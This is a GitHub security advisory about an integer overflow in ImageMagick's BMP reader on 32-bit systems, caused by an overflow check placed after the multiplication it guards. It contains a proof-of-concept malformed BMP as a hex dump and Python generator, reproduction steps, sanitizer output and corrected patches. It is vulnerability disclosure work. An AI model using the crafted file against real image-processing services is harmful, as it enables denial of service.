ghsa-9pp9-cfwx-54rm
Vulnerability from github
Published
2025-10-28 14:43
Modified
2025-10-28 14:43
Summary
ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)
Details

Summary

CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.

The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.

Affected Versions: - ImageMagick < 7.1.2-2 (originally reported) - ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)

Platform and Configuration Requirements: - 32-bit systems ONLY (i386, i686, armv7l, etc.) - Requires size_t = 4 bytes. (64-bit systems are NOT vulnerable (size_t = 8 bytes)) - Requires modified resource limits: The default width, height, and area limits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).


Details(Root Cause Analysis)

Vulnerable Code Location

File: coders/bmp.c
Lines: 1120-1122 (in version 7.1.2-5)

The Incomplete Patch

```c // Line 1120: Integer overflow happens HERE extent = image->columns * bmp_info.bits_per_pixel; // OVERFLOW!

// Line 1121: Uses already-overflowed value bytes_per_line = 4*((extent+31)/32);

// Line 1122: Checks the RESULT, not the multiplication if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile"); ```

Why the Patch Fails

Attack Vector (32-bit system): ``` Input BMP Header: Width: 536,870,912 (0x20000000) Height: 1 Bits Per Pixel: 32

Calculation on 32-bit system: extent = 536,870,912 × 32 = 17,179,869,184 (0x400000000)

32-bit truncation: 0x400000000 & 0xFFFFFFFF = 0x00000000 ← Overflow to ZERO!

bytes_per_line = 4 × ((0 + 31) / 32) = 4 × 0 = 0

BMPOverflowCheck(0, 1): return (1 != 0) && (0 > 4294967295UL/1) return True && (0 > 4294967295) return True && False return False ← Does NOT detect overflow! ```

The check fails because: 1. The overflow happens at Line 1120 (extent calculation) 2. extent becomes 0 due to 32-bit truncation 3. bytes_per_line is calculated as 0 (Line 1121) 4. BMPOverflowCheck(0, 1) returns False (no overflow detected) 5. Code proceeds with corrupted values → ASan crash


PoC(Proof of Concept)

Minimal 58-byte BMP File

Hex dump: 00000000 42 4d 3a 00 00 00 00 00 00 00 36 00 00 00 28 00 |BM:.......6...(.| 00000010 00 00 00 00 00 20 01 00 00 00 01 00 20 00 00 00 |..... ...... ...| 00000020 00 00 00 00 00 00 13 0b 00 00 13 0b 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 |..........|

Key Fields: - Offset 0x12: Width = 00 00 00 20 = 0x20000000 (536,870,912) - Offset 0x16: Height = 01 00 00 00 = 1 - Offset 0x1C: BPP = 20 00 = 32

Python Generator

```python

!/usr/bin/env python3

import struct

width = 0x20000000 # 536,870,912 height = 1 bpp = 32

BMP File Header (14 bytes)

file_header = b'BM' file_header += struct.pack('<I', 58) # File size file_header += struct.pack('<HH', 0, 0) # Reserved file_header += struct.pack('<I', 54) # Pixel offset

DIB Header (40 bytes)

dib_header = struct.pack('<I', 40) # Header size dib_header += struct.pack('<i', width) # Width dib_header += struct.pack('<i', height) # Height dib_header += struct.pack('<H', 1) # Planes dib_header += struct.pack('<H', bpp) # BPP dib_header += struct.pack('<I', 0) # Compression dib_header += struct.pack('<I', 0) # Image size dib_header += struct.pack('<i', 2835) # X ppm dib_header += struct.pack('<i', 2835) # Y ppm dib_header += struct.pack('<I', 0) # Colors dib_header += struct.pack('<I', 0) # Important colors

pixel_data = b'\x00\x00\x00\x00'

with open('overflow.bmp', 'wb') as f: f.write(file_header + dib_header + pixel_data)

print(f"Created overflow.bmp (58 bytes)") ```


Reproduction Steps

Environment Setup

```bash

Use 32-bit Docker container

docker run -it --name test-32bit i386/ubuntu:latest bash

Install dependencies

apt-get update apt-get install -y clang build-essential wget tar \ libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \ zlib1g-dev liblzma-dev libbz2-dev

Download ImageMagick 7.1.2-5

cd /tmp wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz tar xzf 7.1.2-5.tar.gz cd ImageMagick-7.1.2-5 ```

Build with AddressSanitizer (32-bit IMPORTANT!)

```bash

Configure for 32-bit build (CRITICAL - must be 32-bit!)

./configure \ --host=i686-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined"

make -j$(nproc)

Trigger the Vulnerability

```bash

Set environment to bypass cache.c limits

export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1" export MAGICK_WIDTH_LIMIT=2000000000 export MAGICK_HEIGHT_LIMIT=2000000000 export MAGICK_AREA_LIMIT=10000000000

Test with malicious BMP (use Python script above to create it)

./utilities/magick identify overflow.bmp ```


AddressSanitizer Output

==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 "((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0) ================================================================= ==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 "((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0) ==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488) False positive error reports may follow For details see https://github.com/google/sanitizers/issues/189

It operates in the following environments.

export MAGICK_WIDTH_LIMIT=2000000000 export MAGICK_HEIGHT_LIMIT=2000000000 export MAGICK_AREA_LIMIT=10000000000

Impact

Attack Scenario

  1. Attacker creates a 58-byte malicious BMP file
  2. Uploads to web service that uses ImageMagick (on 32-bit system)
  3. ImageMagick attempts to process the image
  4. Integer overflow triggers AddressSanitizer crash
  5. Service becomes unavailable (Denial of Service)

Real-world targets: - Web hosting platforms with image processing - CDN services with thumbnail generation - Legacy embedded systems - IoT devices running 32-bit Linux - Docker containers using 32-bit base images


Recommended Fix

Correct Patch

The overflow check must happen before the multiplication:

```c // Add overflow check BEFORE calculating extent if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse) ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");

// Now safe to calculate extent = image->columns * bmp_info.bits_per_pixel; bytes_per_line = 4*((extent+31)/32);

// Additional safety check if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse) ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile"); ```

Alternative: Use 64-bit Arithmetic

```c // Force 64-bit calculation uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;

if (extent_64 > UINT32_MAX) ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");

extent = (size_t)extent_64; bytes_per_line = 4*((extent+31)/32); ```

Credits

wooseokdotkim wooseokdotkim@gmail.com

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-HDRI-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q16-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-AnyCPU"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Magick.NET-Q8-x86"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "14.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62171"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-28T14:43:20Z",
    "nvd_published_at": "2025-10-17T17:15:49Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nCVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but **the fix is incomplete and ineffective**. The latest version **7.1.2-5 remains vulnerable** to the same integer overflow attack.\n\nThe patch added `BMPOverflowCheck()` but placed it **after** the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.\n\n**Affected Versions:**\n- ImageMagick \u003c 7.1.2-2 (originally reported)\n- **ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)**\n\n**Platform and Configuration Requirements:**\n- 32-bit systems ONLY (i386, i686, armv7l, etc.)\n- Requires `size_t = 4 bytes`. (64-bit systems are **NOT vulnerable** (size_t = 8 bytes))\n- Requires modified resource limits: The default `width`, `height`, and `area` limits must have been manually increased (Systems using default ImageMagick resource limits are **NOT vulnerable**).\n\n---\n\n## Details(Root Cause Analysis)\n\n### Vulnerable Code Location\n\n**File:** `coders/bmp.c`  \n**Lines:** 1120-1122 (in version 7.1.2-5)\n\n### The Incomplete Patch\n\n```c\n// Line 1120: Integer overflow happens HERE\nextent = image-\u003ecolumns * bmp_info.bits_per_pixel;  // OVERFLOW!\n\n// Line 1121: Uses already-overflowed value\nbytes_per_line = 4*((extent+31)/32);\n\n// Line 1122: Checks the RESULT, not the multiplication\nif (BMPOverflowCheck(bytes_per_line, image-\u003erows) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Why the Patch Fails\n\n**Attack Vector (32-bit system):**\n```\nInput BMP Header:\n  Width: 536,870,912 (0x20000000)\n  Height: 1\n  Bits Per Pixel: 32\n\nCalculation on 32-bit system:\n  extent = 536,870,912 \u00d7 32\n         = 17,179,869,184 (0x400000000)\n         \n  32-bit truncation:\n  0x400000000 \u0026 0xFFFFFFFF = 0x00000000  \u2190 Overflow to ZERO!\n  \n  bytes_per_line = 4 \u00d7 ((0 + 31) / 32)\n                 = 4 \u00d7 0\n                 = 0\n  \n  BMPOverflowCheck(0, 1):\n    return (1 != 0) \u0026\u0026 (0 \u003e 4294967295UL/1)\n    return True \u0026\u0026 (0 \u003e 4294967295)\n    return True \u0026\u0026 False\n    return False  \u2190 Does NOT detect overflow!\n```\n\n**The check fails because:**\n1. The overflow happens at Line 1120 (extent calculation)\n2. `extent` becomes 0 due to 32-bit truncation\n3. `bytes_per_line` is calculated as 0 (Line 1121)\n4. `BMPOverflowCheck(0, 1)` returns **False** (no overflow detected)\n5. Code proceeds with corrupted values \u2192 ASan crash\n\n---\n\n## PoC(Proof of Concept)\n\n### Minimal 58-byte BMP File\n\n**Hex dump:**\n```\n00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|\n00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|\n00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|\n00000030  00 00 00 00 00 00 00 00  00 00                    |..........|\n```\n\n**Key Fields:**\n- Offset 0x12: Width = `00 00 00 20` = 0x20000000 (536,870,912)\n- Offset 0x16: Height = `01 00 00 00` = 1\n- Offset 0x1C: BPP = `20 00` = 32\n\n### Python Generator\n\n```python\n#!/usr/bin/env python3\nimport struct\n\nwidth = 0x20000000   # 536,870,912\nheight = 1\nbpp = 32\n\n# BMP File Header (14 bytes)\nfile_header = b\u0027BM\u0027\nfile_header += struct.pack(\u0027\u003cI\u0027, 58)      # File size\nfile_header += struct.pack(\u0027\u003cHH\u0027, 0, 0)   # Reserved\nfile_header += struct.pack(\u0027\u003cI\u0027, 54)      # Pixel offset\n\n# DIB Header (40 bytes)\ndib_header = struct.pack(\u0027\u003cI\u0027, 40)        # Header size\ndib_header += struct.pack(\u0027\u003ci\u0027, width)    # Width\ndib_header += struct.pack(\u0027\u003ci\u0027, height)   # Height\ndib_header += struct.pack(\u0027\u003cH\u0027, 1)        # Planes\ndib_header += struct.pack(\u0027\u003cH\u0027, bpp)      # BPP\ndib_header += struct.pack(\u0027\u003cI\u0027, 0)        # Compression\ndib_header += struct.pack(\u0027\u003cI\u0027, 0)        # Image size\ndib_header += struct.pack(\u0027\u003ci\u0027, 2835)     # X ppm\ndib_header += struct.pack(\u0027\u003ci\u0027, 2835)     # Y ppm\ndib_header += struct.pack(\u0027\u003cI\u0027, 0)        # Colors\ndib_header += struct.pack(\u0027\u003cI\u0027, 0)        # Important colors\n\npixel_data = b\u0027\\x00\\x00\\x00\\x00\u0027\n\nwith open(\u0027overflow.bmp\u0027, \u0027wb\u0027) as f:\n    f.write(file_header + dib_header + pixel_data)\n\nprint(f\"Created overflow.bmp (58 bytes)\")\n```\n\n---\n\n## Reproduction Steps\n\n### Environment Setup\n\n```bash\n# Use 32-bit Docker container\ndocker run -it --name test-32bit i386/ubuntu:latest bash\n\n# Install dependencies\napt-get update\napt-get install -y clang build-essential wget tar \\\n    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \\\n    zlib1g-dev liblzma-dev libbz2-dev\n\n# Download ImageMagick 7.1.2-5\ncd /tmp\nwget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz\ntar xzf 7.1.2-5.tar.gz\ncd ImageMagick-7.1.2-5\n```\n\n### Build with AddressSanitizer (32-bit IMPORTANT!)\n\n```bash\n# Configure for 32-bit build (CRITICAL - must be 32-bit!)\n./configure \\\n    --host=i686-pc-linux-gnu \\\n    --disable-dependency-tracking \\\n    --disable-silent-rules \\\n    --disable-shared \\\n    --disable-openmp \\\n    --disable-docs \\\n    --without-x \\\n    --without-perl \\\n    --without-magick-plus-plus \\\n    --without-lqr \\\n    --without-zstd \\\n    --without-tiff \\\n    --with-quantum-depth=8 \\\n    --disable-hdri \\\n    CFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n    CXXFLAGS=\"-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined\" \\\n    LDFLAGS=\"-fsanitize=address,undefined\"\n\nmake -j$(nproc)\n\n### Trigger the Vulnerability\n\n```bash\n# Set environment to bypass cache.c limits\nexport ASAN_OPTIONS=\"detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1\"\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n\n# Test with malicious BMP (use Python script above to create it)\n./utilities/magick identify overflow.bmp\n```\n\n---\n\n## AddressSanitizer Output\n\n```\n==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 \n\"((AddrIsInMem(addr + size - (1ULL \u003c\u003c kDefaultShadowScale)))) != (0)\" (0x0, 0x0)\n=================================================================\n==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 \n\"((0 \u0026\u0026 \"Address is not in memory and not in shadow?\")) != (0)\" (0x0, 0x0)\n==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: \nstack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)\nFalse positive error reports may follow\nFor details see https://github.com/google/sanitizers/issues/189\n```\n\nIt operates in the following environments.\n\n```\nexport MAGICK_WIDTH_LIMIT=2000000000\nexport MAGICK_HEIGHT_LIMIT=2000000000\nexport MAGICK_AREA_LIMIT=10000000000\n```\n\n## Impact\n\n### Attack Scenario\n\n1. Attacker creates a 58-byte malicious BMP file\n2. Uploads to web service that uses ImageMagick (on 32-bit system)\n3. ImageMagick attempts to process the image\n4. Integer overflow triggers AddressSanitizer crash\n5. Service becomes unavailable (Denial of Service)\n\n**Real-world targets:**\n- Web hosting platforms with image processing\n- CDN services with thumbnail generation\n- Legacy embedded systems\n- IoT devices running 32-bit Linux\n- Docker containers using 32-bit base images\n\n---\n\n## Recommended Fix\n\n### Correct Patch\n\nThe overflow check must happen **before** the multiplication:\n\n```c\n// Add overflow check BEFORE calculating extent\nif (BMPOverflowCheck(image-\u003ecolumns, bmp_info.bits_per_pixel) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"IntegerOverflowInDimensions\");\n\n// Now safe to calculate\nextent = image-\u003ecolumns * bmp_info.bits_per_pixel;\nbytes_per_line = 4*((extent+31)/32);\n\n// Additional safety check\nif (BMPOverflowCheck(bytes_per_line, image-\u003erows) != MagickFalse)\n    ThrowReaderException(CorruptImageError, \"InsufficientImageDataInFile\");\n```\n\n### Alternative: Use 64-bit Arithmetic\n\n```c\n// Force 64-bit calculation\nuint64_t extent_64 = (uint64_t)image-\u003ecolumns * (uint64_t)bmp_info.bits_per_pixel;\n\nif (extent_64 \u003e UINT32_MAX)\n    ThrowReaderException(CorruptImageError, \"ImageDimensionsTooLarge\");\n\nextent = (size_t)extent_64;\nbytes_per_line = 4*((extent+31)/32);\n```\n\n### Credits\nwooseokdotkim\nwooseokdotkim@gmail.com",
  "id": "GHSA-9pp9-cfwx-54rm",
  "modified": "2025-10-28T14:43:21Z",
  "published": "2025-10-28T14:43:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9pp9-cfwx-54rm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62171"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ImageMagick/ImageMagick/commit/cea1693e2ded51b4cc91c70c54096cbed1691c00"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ImageMagick/ImageMagick"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…